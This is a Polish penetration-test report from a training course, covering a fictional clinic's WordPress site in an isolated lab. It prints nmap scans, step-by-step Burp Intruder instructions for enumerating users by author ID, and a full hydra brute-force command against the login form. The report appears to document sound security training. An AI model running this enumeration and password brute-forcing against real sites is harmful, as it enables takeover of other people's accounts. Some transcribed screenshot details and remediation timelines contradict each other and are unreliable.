



CYBERIUM



Raport z testu penetracyjnego

Pentest webaplikacji oraz infrastruktury organizacji MegaClinic, realizowany w ramach szkolenia Cyberium MasterClass.

Klient:

Organizacja MegaClinic

19.11.2025

CYBERIUM.PL

Autor: Wojciech Kut (wojciech.kut97@gmail.com)

Wersja: 1.0



Klauzula poufności

Niniejszy raport przedstawia wyniki analizy bezpieczeństwa wykonanej dla fikcyjnej organizacji Megaclinic należącej do Cyberium, w oparciu o testy penetracyjne przeprowadzone w dedykowanym środowisku laboratoryjnym Cyberium.

Środowisko to zostało specjalnie skonfigurowane w celu odwzorowania architektury i funkcjonalności systemów medycznych używanych przez Megaclinic, umożliwiając przeprowadzenie kompleksowej oceny bezpieczeństwa bez wpływu na działanie systemów produkcyjnych. Laboratorium było całkowicie odizolowane od innych systemów oraz publicznej sieci, a podczas przeprowadzania testów nie wyrządzono żadnych szkód infrastrukturze.

Cyberium wyraziło pełną zgodę na przeprowadzenie testów penetracyjnych przez autora niniejszego raportu. Ze względu na fikcyjny charakter organizacji Megaclinic oraz kontrolowane środowisko testowe, niniejszy dokument może być publikowany publicznie w celach edukacyjnych, demonstracyjnych oraz w portfolio i CV autora raportu.

Każda osoba mająca dostęp do niniejszego raportu przyjmuje na siebie prawne zobowiązanie do zachowania pełnej dyskrecji odnośnie wszystkich ujawnionych informacji oraz do niewykorzystywania ich w sposób wykraczający poza cele edukacyjne, naprawcze i prewencyjne.

Spis treści

Klauzula poufności	3
Osoby zaangażowane	4
Klient - MegaClinic:	5
Pentester Cyberium:.....	5
Podsumowanie zarządcze (Executive Summary).....	6
Metodologia testu.....	7
Podejście do testowania	7
Fazy testowania	7
Narzędzia i techniki.....	7
Klasifikacja ryzyka podatności	8
Podsumowanie statystyczne	8
Zakres testów	9
Cele testów.....	9
Wykluczenia i ograniczenia.....	9
Zidentyfikowane hosty, domeny oraz usługi	10
Pełna ścieżka ataku	11
Znalezione podatności.....	15
Podatność MEGA-01: IDOR - Enumeracja użytkowników WordPress	15
Skompromitowani użytkownicy	18
Wprowadzone zmiany oraz pozostawione ślady.....	19
Podsumowanie i zalecenia	20
Host: 10.87.158.154.....	20

Osoby zaangażowane

Klient - MegaClinic:

- Ordynator jednostki medycznej – dr Kapustkowski – dr.kapustkowski@...pl
- Kierownik działu IT – Zbigniew Nowak – z.nowak@...pl / tel. 22 123 123 123

Pentester Cyberium:

- **Główny pentester – Wojciech Kut –** wojciech.kut97@gmail.com
- **Nadzór merytoryczny Cyberium.pl – Paweł Niziołek –** pawel@cyberium.pl

Podsumowanie zarządcze (Executive Summary)

W ramach przeprowadzonej analizy bezpieczeństwa cybernetycznego organizacji MegaClinic zidentyfikowano łącznie 1 podatność o stopniu krytyczności sklasyfikowanej jako średnie ryzyko.

Najpoważniejsze zagrożenia obejmują:

- **Możliwość uzyskania loginów istniejących użytkowników**, które można uzyskać w ciągu kilku minut.
- **Użycie prostych, łatwych do odgadnięcia haseł do kont użytkowników**, które mogą być złamane w ciągu kilku minut.
- **Możliwość przejęcia kontroli nad panelem użytkownika** poprzez atak brute force.

Przebieg pentestu: W wyniku przeprowadzonego testu udało się uzyskać pełną kontrolę nad panelem użytkownika wordpress. Tester najpierw uzyskał loginy istniejących użytkowników, a następnie wykorzystał błąd w oprogramowaniu, aby przejąć kontrolę nad panelem użytkownika wordpress.

Pozytywne aspekty infrastruktury: Należy podkreślić, że zespół IT MegaClinic wdrożył solidną architekturę sieciową z prawidłowo skonfigurowanym serwerem MySQL z obsługą SSL/TLS, co świadczy o świadomości potrzeby szyfrowania komunikacji. Dodatkowo, usługi zostały ograniczone do niezbędnego minimum portów. Te elementy stanowią solidną podstawę do dalszego rozwoju bezpieczeństwa systemu.

Pomimo zidentyfikowanych zagrożeń, większość wykrytych podatności może zostać wyeliminowana poprzez implementację standardowych praktyk bezpieczeństwa.

Szacowany czas wdrożenia wszystkich zaleceń nie powinien przekroczyć 1 miesiąca przy odpowiednim zaangażowaniu zespołu IT.

Metodologia testu

Podejście do testowania

Testy penetracyjne organizacji Megaclinic zostały przeprowadzone zgodnie z międzynarodowymi standardami bezpieczeństwa, w tym metodologią OWASP Testing Guide, PTES oraz NIST. Zastosowano podejście "black box", symulujące perspektywę zewnętrznego atakującego nieposiadającego

wcześniej wiedzy na temat wewnętrznej architektury systemów. Wszystkie działania testowe były prowadzone w kontrolowanych warunkach laboratoryjnych, zapewniając pełną izolację od systemów.

Fazy testowania

Proces testowania został podzielony na pięć głównych etapów.

- Faza rozpoznania obejmowała pasywne zbieranie informacji o infrastrukturze sieciowej, dostępnych usługach oraz potencjalnych punktach wejścia do systemu.
- Faza skanowania polegała na aktywnej identyfikacji otwartych portów, uruchomionych usług oraz wersji oprogramowania za pomocą specjalistycznych narzędzi takich jak Nmap / Nessus / OpenVAS.
- Faza enumeracji koncentrowała się na szczegółowym badaniu zidentyfikowanych usług w celu wykrycia potencjalnych podatności i błędów konfiguracji.
- Faza eksploitacji obejmowała kontrolowane próby wykorzystania wykrytych luk w zabezpieczeniach, przy zachowaniu pełnej ostrożności i dokumentacji wszystkich wykonanych działań.
- Faza post-eksploitacji polegała na ocenie możliwości utrzymania dostępu oraz potencjalnego zasięgu kompromitacji w przypadku rzeczywistego ataku.

Narzędzia i techniki

W ramach testów wykorzystano szeroki zakres profesjonalnych narzędzi do testowania bezpieczeństwa, dostosowanych do specyfiki środowiska medycznego. Zastosowano skanery podatności (Nessus, OpenVAS), narzędzia do testowania aplikacji webowych (Burp Suite), frameworki eksploitacji (Metasploit), oraz specjalistyczne narzędzia do analizy ruchu sieciowego (Wireshark, tcpdump). Wszystkie testy zostały przeprowadzone z wykorzystaniem aktualnych baz danych podatności (CVE, NVD) oraz najnowszych technik identyfikacji zagrożeń.

Klasyfikacja ryzyka podatności

Podatności krytyczne (CVSS 9.0-10.0)

Podatności o najwyższym poziomie ryzyka, które mogą prowadzić do natychmiastowej i pełnej kompromitacji systemu. Umożliwiają atakującemu przejęcie kontroli nad infrastrukturą, dostęp do wszystkich danych oraz wykonywanie działań z uprawnieniami administratora. Wymagają natychmiastowej reakcji i naprawy w ciągu 24 godzin.

Podatności wysokie (CVSS 7.0-8.9)

Poważne luki w zabezpieczeniach, które mogą prowadzić do znaczącej kompromitacji systemu lub danych. Często dotyczą słabych mechanizmów uwierzytelniania, nieprawidłowej autoryzacji lub możliwości dostępu do wrażliwych informacji. Powinny być naprawione w ciągu 7 dni.

Podatności średnie (CVSS 4.0-6.9)

Podatności o umiarkowanym wpływie na bezpieczeństwo, które samodzielnie mogą nie prowadzić do pełnej kompromitacji, ale w połączeniu z innymi podatnościami mogą być wykorzystane w ramach złożonego ataku. Wymagają naprawy w ciągu 30 dni.

Podatności niskie (CVSS 0.1-3.9)

Podatności o ograniczonym wpływie na bezpieczeństwo, które głównie ułatwiają przeprowadzenie dalszych ataków poprzez ujawnienie informacji o systemie. Nie stanowią bezpośredniego zagrożenia, ale powinny być naprawione w ramach rutynowej konserwacji systemu (do 3 miesięcy).

Podatności informacyjne (CVSS 0.0)

Obserwacje dotyczące konfiguracji systemu, które nie stanowią bezpośredniego zagrożenia bezpieczeństwa, ale mogą wskazywać na potencjalne obszary do poprawy. Obejmują najlepsze praktyki bezpieczeństwa, zalecenia dotyczące konfiguracji oraz obserwacje mogące pomóc w przyszłych auditach.

Podsumowanie statystyczne

POZIOM RYZYKA	LICZBA PODATNOŚCI	PROCENT
KRYTYCZNE	0	0,00%
WYSOKIE	0	0,00%
ŚREDNIE	1	100,00%
NISKIE	0	0,00%
INFORMACYJNE	0	0,0%
ŁĄCZNIE	1	100%

Zakres testów

Cele testów

Adresy IP:

- 10.87.158.154

Wykluczenia i ograniczenia

Wykluczenia z zakresu testów:

- Ataki destrukcyjne (DoS/DDoS, modyfikacja/usuwanie danych)
- Testy bezpieczeństwa fizycznego (serwerownie, stacje robocze)
- Social engineering wobec rzeczywistego personelu
- Zewnętrzne integracje (NFZ, laboratoria, apteki)

Ograniczenia testów:

- Testy możliwe wyłączenie poza godzinami pracy placówki, godz. 20:00-06:00
- Środowisko laboratoryjne: uproszczona skala względem systemów produkcyjnych
- Dane testowe: wyłącznie syntetyczne dane, brak rzeczywistych danych pacjentów

Zidentyfikowane hosty, domeny oraz usługi

HOST	PORT	USŁUGA	WERSJA
10.87.158.154	8088/tcp	Apache HTTP	2.4.41 (Ubuntu)
10.87.158.154	3306/tcp	MySQL	8.0.41-Ubuntu0.20.04.1

Wykryte aplikacje webowe:

- Wordpress 6.7.1 (dostępne pod <http://10.87.158.154:8088/wp-login.php/>)

Wykryte domeny i subdomeny:

- brak – bezpośredni dostęp za pośrednictwem adresu IP

Pełna ścieżka ataku

1. Rozpoznanie i skanowanie portów

```
sudo nmap 10.87.158.154 -
```

```
└─(kali㉿kali)-[~/lab/misja3]
└$ sudo nmap 10.87.158.154 -p- -oA full-scan-10.87.158.154
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-13 11:06 EST
Nmap scan report for 10.87.158.154
Host is up (0.031s latency).

Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
3306/tcp  open  mysql
8088/tcp  open  radan-https

Nmap done: 1 IP address (1 host up) scanned in 20.48 seconds
```

Wynik: Zidentyfikowano otwarte porty:

- Port 8088/tcp – http
- Port 3306/tcp - mysql

2. Szczegółowe skanowanie usług

```
sudo nmap 10.87.158.154 -p3306,8088 -sV -
```

```
```shell
—(kali㉿kali)-[~/lab/misja3]
└$ sudo nmap 10.87.158.154 -p3306,8088 -sC -sV -oA version-scan-10.87.158.154
Starting Nmap 7.95 (https://nmap.org) at 2025-11-13 11:09 EST
Nmap scan report for 10.87.158.154
Host is up (0.026s latency).

PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 8.0.41-0ubuntu0.20.04.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| commonName=MySQL_Server_8.0.41_Auto_Generated_Server_Certificate
| Not valid before: 2025-02-06T13:53:56
| Not valid after: 2035-02-04T13:53:56
| mysql-info:
| Protocol: 10
| Version: 8.0.41-0ubuntu0.20.04.1
| Thread ID: 16
| Capabilities flags: 65535
| Some Capabilities: LongColumnFlag, IgnoreSigpipes, Support41Auth,
| SupportsCompression, Speaks41ProtocolOld, SupportsTransactions,
| ConnectWithDatabase, LongPassword, InteractiveClient, SwitchToSSLAfterHandshake,
| Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, ODBCClient,
| SupportsLoadDataLocal, DontAllowDatabaseTableColumn, FoundRows,
| SupportsMultipleResults, SupportsMultipleStatements, SupportsAuthPlugins
| Status: Autocommit
| Salt: '\x1A-5-\x0B,&xl.%0C;
| >8
|_ Auth Plugin Name: caching_sha2_password
8088/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 6.7.1
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: http://megablog.cbr ; Blog MegaClinic ; intranet

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.59 seconds
```

```

Wynik: Wykryto serwer Apache z włączonym aplikacją webową WordPress.

Zidentyfikowano otwarte porty i wersje usług:

- Port 8088/tcp - Apache HTTP Server 2.4.41
- Port 3306/tcp - MySQL 8.0.41

3. Enumeracja HTTP

Przejście na adres <http://10.87.158.154:8088/> ujawniło:

Zabezpieczone: Ważne informacje

Written by [Janusz](#) [Bez kategorii](#)



Super, że tutaj dotarłeś!

Jednak tu nie znajdziesz flagi – szukaj dalej.

PS. Sprawdź może na koncie jednego z użytkowników.

Powodzenia!

← Aktualizacja systemu PACS – planowane prace konserwacyjne

Comments



Wniosek: Ewentualna możliwość iterowania użytkowników.

4. Iterowanie użytkowników

Iterowanie użytkowników za pomocą narzędzia burpsuite.

2. Intruder attack of http://megablog.cbr:8088

| Request | Response |
|---------|---|
| 1 | HTTP/1.1 200 OK |
| 2 | Date: Thu, 19 Nov 2009 16:45:12 GMT |
| 3 | Server: Apache/2.2.14 (Ubuntu) |
| 4 | Link: <http://megablog.cbr:8088/index.php?rest_route=/>; rel="https://api.w.org/" |
| 5 | Link: <http://megablog.cbr:8088/index.php?rest_route=/wp/v2/users/13>; rel="alternate"; title="JSON"; type="application/json" |
| 6 | X-Pagination-Page: 1 |
| 7 | Content-Length: 45704 |
| 8 | Keep-Alive: timeout=10, max=100 |
| 9 | Connection: keep-alive |
| 10 | Content-Type: text/html; charset=UTF-8 |
| 11 | |
| 12 | <!DOCTYPE html> |
| 13 | <html lang="pl_PL"> |
| 14 | <head> |
| 15 | <meta charset="UTF-8" /> |
| 16 | <meta name="viewport" content="width=device-width, initial-scale=1" /> |
| 17 | <meta name="robots" content="noindex, nofollow" /> |
| 18 | <style> |
| 19 | img{size:auto};,img{size:auto,*}{} |
| 20 | img,intrinsic-size:3000px\1500px{} |
| 21 | </style> |
| 22 | <link rel="alternate" type="application/rss+xml" title="http://megablog.cbr Graj o! Kanat z wpisami" href="http://megablog.cbr:8088/feed/rss2" /> |
| 23 | <link rel="alternate" type="application/rss+xml" title="http://megablog.cbr Graj o! Kanat z komentarzami" href="http://megablog.cbr:8088/feed/rsscomments" /> |
| 24 | <script> |
| 25 | window.emojiSettings = { |
| 26 | "base": "https://s.w.org/images/core/emoji/15.0.3/2x72/","ext": ".png","svgUrl": "https://s.w.org/images/core/emoji/15.0.3/svg/","svgExt": ".svg","source": { |
| 27 | "concate": "http://megablog.cbr:8088/wp-includes/j/s/wp-emoji-release.min.js?ver=0.7.1"} |
| 28 | }; |
| 29 | /* This file is auto-generated */ |
| 30 | if(function(n){n}) |
| 31 | var o,s,e; |
| 32 | function(e){ |
| 33 | try{ |

Wynik: Znaleziono 8 użytkowników

5. Atak na formularz logowania do WordPress

Atak na formularz logowania za pomocą hydry ujawnił kombinację loginu i hasła, dzięki której jest możliwość zalogowania się do Wordpress.

```
hydra -L users03 -P /usr/share/seclists/Passwords/500-worst-passwords.txt  
-s 8088 -m '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Zaloguj  
się:niepoprawne' megablog.cbr http-post-form
```

Login: marcin

Hasło: ga--[usunięto]---

6. Dostęp do panelu użytkownika WordPress

Wykorzystując uzyskane dane logowania marcin/ga***** , uzyskano dostęp panelu użytkownika WordPress

The screenshot shows the WordPress 6.7.1 dashboard. On the left, the 'Kokpit' sidebar includes links for 'Wpisy', 'Media', 'Komentarze', 'Profil', 'Narzędzia', and 'Zwiż menu'. The main area features a 'Szybki szkic' (Quick Post) form with fields for 'Tytuł' (Title), 'Treść' (Content), and a 'Zapisz szkic' (Save Draft) button. Below it, the 'Wydarzenia i nowości' (Events and News) section lists two items: 'Debugging & WooCommerce: Therapiegruppe für alle, die schon mal verzweigt sind' (Meetup • Würzburg, Germany) and 'WP-Daja (Neuendorfelsau) Meetup • Neuendorfelsau, Germany'. At the bottom of the dashboard, there's a footer note about the creation of the page using WordPress and a link to version 6.7.1.

Znalezione podatności

Podatność MEGA-01: IDOR - Enumeracja użytkowników WordPress – CVSS 5.4

Poziom ryzyka: **ŚREDNIE**

Opis:

Informację udostępniane na stronie HTTP wprowadziły możliwość potencjalnej podatności. Podatność pozwala na wykonanie enumeracji użytkowników WordPress.

Miejsce występowania:

Host: 10.87.158.154:8088

URL: <http://10.87.158.154:8088>

Kroki do odtworzenia podatności:

1. Otworzyć narzędzie burpsuite, przejść do zakładki Proxy, włączyć Intercept,
2. Przechwycić zapytanie metody GET, poprzez kliknięcie w autora znalezioneego na stronie HTTP,

The screenshot shows a WordPress blog post titled "Zabezpieczone: Ważne informacje". The author is listed as "Written by [Janusz](#) in [Bez kategorii](#)". Below the post content, there is a message: "Super, że tutaj dotarłeś! Jednak tu nie znajdziesz flagi – szukaj dalej. PS. Sprawdź może na koncie jednego z użytkowników. Powodzenia!" At the bottom of the page, there is a navigation link: "← Aktualizacja systemu PACS – planowane prace konserwacyjne".

3. Po przechwyceniu metody GET w polu request kliknąć prawy przycisk myszy i kliknąć send to Intruder,
4. Następnie przy wyrazie „author” cyfry zaznaczyć i kliknąć przycisk Add,
5. Następnie wybrać rodzaj ataku, sniper attack
6. Następnie po prawej stronie w zakładce payloads wybrać, payload type „numbers” oraz number range From:1; To: 30; Step:1;
7. Kliknąć przycisk start attack.

8. Następnie otrzymujemy nazwy użytkowników.

Wpływ:

W połączeniu z 500 najczęściej używanymi hasłami jesteśmy w stanie zaatakować formularz logowania WordPress, aby zalogować się na konto użytkownika. Prowadzi to do możliwości modyfikacji treści, instalacji złośliwych wtyczek, eskalacji uprawnień.

Zalecenia:

- Zaszyfrowanie bądź kodowanie id użytkownika,
- Nie podawanie id użytkowników na stronie HTTP
- Regularne sprawdzanie dostępności aktualizacji bezpieczeństwa

Skompromitowani użytkownicy

W trakcie testu penetracyjnego uzyskano dostęp do następujących kont użytkowników:

Host: 10.87.158.154:8088

- marcin (użytkownik WordPress)

Wprowadzone zmiany oraz pozostawione ślady

Host: 10.87.158.154:8088

Nie prowadzono żadnych zmian.

Podsumowanie i zalecenia

Host: 10.87.158.154

Zalecenia o średnim priorytecie (do 30 dni)

- Zaszyfrowanie bądź kodowanie id użytkownika,
- Nie podawanie id użytkowników na stronie HTTP

Zalecenia długoterminowe (do 3 miesięcy)

- Implementacja WAF
- Monitoring i logowanie - wdrożenie systemu monitorowania bezpieczeństwa
- Regularne testy penetracyjne (raz w roku)

Podsumowanie

Test penetracyjny ujawnił podatność o umiarkowanym wpływie na bezpieczeństwo organizacji MegaClinic. Podatność ta umożliwiła zalogowanie się na konto użytkownika WordPress.

Szacowany czas wdrożenia wszystkich zaleceń: 6 tygodni

Zaleca się niezwłoczne wdrożenie zaleceń o wysokim priorytecie oraz systematyczne podejście do poprawy bezpieczeństwa zgodnie z przedstawionym planem.